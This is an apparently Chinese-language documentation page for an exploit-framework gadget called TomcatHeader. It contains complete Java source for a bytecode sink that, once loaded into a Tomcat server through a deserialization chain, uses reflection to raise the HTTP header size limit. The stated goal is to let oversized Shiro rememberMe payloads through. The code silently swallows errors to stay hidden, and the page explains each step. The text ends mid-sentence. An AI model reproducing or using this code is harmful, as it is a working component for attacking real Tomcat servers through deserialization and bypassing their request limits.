- 类别:bytecode 别名:— 优先级:—
- 作者:Ar3h
- 依赖:无(运行期依赖目标进程内已存在的 Tomcat catalina/coyote 类)
生成一段"运行期改写 Tomcat HTTP 请求头长度上限"的字节码 sink。字节码被目标加载后,反射进入正在运行的 Tomcat 内部结构,把 HTTP/1.1 连接的 headerBufferSize(默认 8192 字节,即 8KB)改写为用户指定的 length(默认 50000),并同步调用 AbstractHttp11Protocol.setMaxHttpHeaderSize。其目的是绕过 Header 头长度限制:在 Shiro 等经由请求头(如 Cookie: rememberMe=...)投递大体积序列化 payload 的场景下,原始 payload 常超过 8KB 而被 Tomcat 直接拒绝;先用一个较小的链把请求头上限抬高,后续更大的利用 payload 便能顺利通过。属链尾字节码 sink(END)。
- 入口
tags:Bytecode、Tomcat、ENDBytecode:本 gadget 产出原始类字节码(byte[]),需上游装载器(如BytecodeConvert装入TemplatesImpl)触发defineClass才会执行。Tomcat:标注其目标运行环境为 Tomcat,原理强依赖 catalina/coyote 内部字段与类结构。END:链的终点,自身即最终产物,其后不再衔接更内层的 gadget。
- 衔接
nextTags:空(作为 END sink 无下游)。 excludes:空。
TomcatHeader 只做一件事——用 JavassistHelper 把用户配置的 length 写进模板类 TomcatHeaderBytecode 的静态字段,再导出该类的字节码:
@Param(name="需要修改修改header头限制长度")
public String length = "50000";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(TomcatHeaderBytecode.class);
javassistHelper.modifyStringField("length", this.length); // 把 length 注入模板静态字段
return javassistHelper.getBytecode(); // 导出改写后的类字节码
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END 环:不消费内层对象,仅完成链契约
return this.getObject();
}invoke 中虽调用了 chain.doCreate(context),但并不使用其返回值——因为本 gadget 是 END,没有更内层对象需要包装;它直接返回自产的字节码。modifyStringField("length", ...) 通过 Javassist 把字符串常量写死进模板类的 static String length 字段,从而使生成的字节码"自带"目标长度值,无需运行期再传参。
TomcatHeaderBytecode 的静态初始化块 new TomcatHeaderBytecode() 保证——只要该类被 defineClass 加载(例如经 TemplatesImpl 实例化触发类初始化),构造函数就立即执行,无需任何显式调用。构造函数即全部攻击逻辑:
public static String length;
public TomcatHeaderBytecode() {
int headerLength = Integer.parseInt(length);
try {
// 1) 预取 Tomcat 内部私有字段/方法句柄
Field contextField = StandardContext.class.getDeclaredField("context"); // -> ApplicationContext
Field serviceField = ApplicationContext.class.getDeclaredField("service"); // -> StandardService
Field requestField = RequestInfo.class.getDeclaredField("req"); // -> coyote.Request
Field headerSizeField = Http11InputBuffer.class.getDeclaredField("headerBufferSize");
Method getHandlerMethod = AbstractProtocol.class.getDeclaredMethod("getHandler", null);
contextField.setAccessible(true); headerSizeField.setAccessible(true);
serviceField.setAccessible(true); requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
// 2) 从当前线程上下文类加载器逐级向上,取到 StandardService
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
ApplicationContext applicationContext =
(ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
StandardService standardService = (StandardService) serviceField.get(applicationContext);
// 3) 遍历所有 Connector,锁定 scheme=="http"(长度 4) 且协议为 AbstractHttp11Protocol 的连接器
Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; ++i) {
ProtocolHandler protocolHandler;
if (4 != connectors[i].getScheme().length()
|| !((protocolHandler = connectors[i].getProtocolHandler()) instanceof AbstractHttp11Protocol))
continue;
// 4) 通过 AbstractProtocol 的内部类 ConnectionHandler(按类名长度 52/60 识别)
// 取到 global(RequestGroupInfo) -> processors 列表
Class<?>[] classes = AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; ++j) {
if (52 != classes[j].getName().length() && 60 != classes[j].getName().length()) continue;
Field globalField = classes[j].getDeclaredField("global");
Field processorsField = RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true); processorsField.setAccessible(true);
RequestGroupInfo requestGroupInfo =
(RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
List list = (List) processorsField.get(requestGroupInfo);
// 5) 对每个已注册的 RequestInfo,取其 coyote.Request,改写其 InputBuffer 的 headerBufferSize
for (int k = 0; k < list.size(); ++k) {
Request tempRequest = (Request) requestField.get(list.get(k));
headerSizeField.set(tempRequest.getInputBuffer(), headerLength);
}
}
// 6) 同步改写协议层的上限,影响后续新建连接
((AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(headerLength);
}
} catch (Exception exception) {
// 静默吞异常:环境不匹配时不影响宿主进程
}
}
static { new TomcatHeaderBytecode(); }逐段说明:
- 反射路径(步骤 2):以
Thread.currentThread().getContextClassLoader()为起点强转WebappClassLoaderBase→getResources().getContext()(StandardContext)→ 私有字段context(ApplicationContext)→ 私有字段service(StandardService)。这是 Tomcat 内存马/运行期改写常用的"从类加载器爬到 Service 根"的固定套路。 - Connector 筛选(步骤 3):
4 != getScheme().length()用字符串长度筛出 scheme 恰为"http"(4 个字符)的连接器,排除"https"(5)/"ajp"(3);再要求ProtocolHandler为AbstractHttp11Protocol。 - 内部类识别(步骤 4):
AbstractProtocol的内部类ConnectionHandler在不同 Tomcat 版本下全限定名长度为 52 或 60(org.apache.coyote.AbstractProtocol$ConnectionHandler等),用类名长度做启发式匹配以兼容多版本;取其静态字段global(RequestGroupInfo)再取processors列表。 - 双重改写(步骤 5、6):一方面对已存在的每个
RequestInfo → Request → InputBuffer反射写headerBufferSize(影响复用中的处理器对象);另一方面调用setMaxHttpHeaderSize抬高协议层上限(影响后续新建的处理器)。两者结合尽量保证下一个大 payload 请求不再被 8KB 上限截断。 - 静默 catch:整段包裹在
try/catch中并吞掉异常——非 Tomcat 或版本不符时不会让宿主进程崩溃,保持隐蔽。
| 字段 | 名称 | 说明 | 默认 | 类型 | 可选值 |
|---|---|---|---|---|---|
length |
需要修改修改header头限制长度 | 目标 Tomcat HTTP/1.1 连接的新 header 缓冲上限(字节),会被烘焙进模板并在加载时以 Integer.parseInt 解析 |
50000 |
String |
无(自由填写) |
注:
length为字符串类型,模板内Integer.parseInt(length)解析;填非数字会在构造函数内抛异常并被静默吞掉,导致改写不生效。
- 目标环境:Apache Tomcat(catalina + coyote,Http11 协议)。原理强依赖
StandardContext.context、`ApplicationCont